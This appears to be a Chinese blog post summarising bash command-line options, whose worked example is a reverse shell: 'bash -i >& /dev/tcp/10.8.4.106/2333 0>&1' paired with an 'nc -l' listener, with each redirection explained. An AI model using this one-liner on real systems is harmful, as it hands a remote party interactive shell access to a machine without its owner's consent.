【BASH】常见功能及其用法

前言

bash 是一个为GNU计划编写的Unix shell。它的名字是一系列缩写:Bourne-Again SHell — 这是关于Bourne shell(sh)的一个双关语(Bourne again / born again)。

参数

参数 用法
-c 若用-c参数,则bash从字符串中读入命令,如果字符串后还有变量就被设定为从$0开始的位置参数。
-n 检查脚本是否正确,并不执行脚本
-i 若用-i参数,则bash是交互的。
-s 若用-s参数,则bash从标准输入中读入命令(在执行完-c带的命令之后。)直到输入exit。
-x 执行脚本,输出执行过程,适合调试适用
- 单一的号表明参数执行完毕,并且屏蔽此后所跟参数,后面的所有变量都被看作是文件名。
-norc 如果bash是交互的,则不执行个人初始化文件:-/.bashrc,如果bash作为sh来运行,这个参数缺省是关闭的。
-noprofile 不执行系统范围的启动文件/etc/profile也不执行个人的启动文件-/.bash_profile,-/.bash_login或-/.profile,缺省情况下,bash作为登录的shell时以这些文件作为启动文件。
--refile 如果bash是交互的,则以此文件作为bash的启动文件。替代-/.bashrc。
--version bash开始时显示版本号
-quiet 不显示版本号和其他信息,缺省值
-login 激活bash,伪装成登录shell
-nolineediting 在交互状态下不使用GNU的readline库去读取命令。即取消了命令行编辑功能。
-posix 改变bash的行为,使其符合Posix 1003.2规定的标准。

例子

bash -x -i >& /dev/tcp/10.8.4.106/2333 0>&1

先了解下交互式bash的含义

number value mean
0 STDIN_FILENO 标准输入(键盘)
1 STDOUT_FILENO 标准输出(控制台)
2 STDERR_FILENO 标准错误
  • 2>&1&的意义,用来将标准错误2重定向到标准输出1中的。此处1前面的&就是为了让bash将1解释成标准输出而不是文件1。至于最后一个&,则是让bash在后台执行。
  • /dev/tcp/10.8.4.106/2333,这是一个特殊文件,它会建立一个连接到10.8.4.106:2333的socket
  • 命令的含义: bash -i创建一个交互式的bash,&>将bash的标准输出重定向到/dev/tcp/10.8.4.106/2333的socket连接上,0>&1将标准输入重定向到标准输出,最终的结果就是标准输入也被重定向到了TCP连接中,因此输入和输出都可以在公网主机上进行,通过TCP连接和bash进行交互。

10.8.4.106

nc -l 2333

10.8.4.102

bash -x -i >& /dev/tcp/10.8.4.106/2333 0>&1

此时已经可以在106上已经有了102的bash权限,ls命令也可以查看目录信息等。(反射bash)

posted @ 2021-03-25 14:47  恩赐解脱ゞ  阅读(349)  评论(0编辑  收藏  举报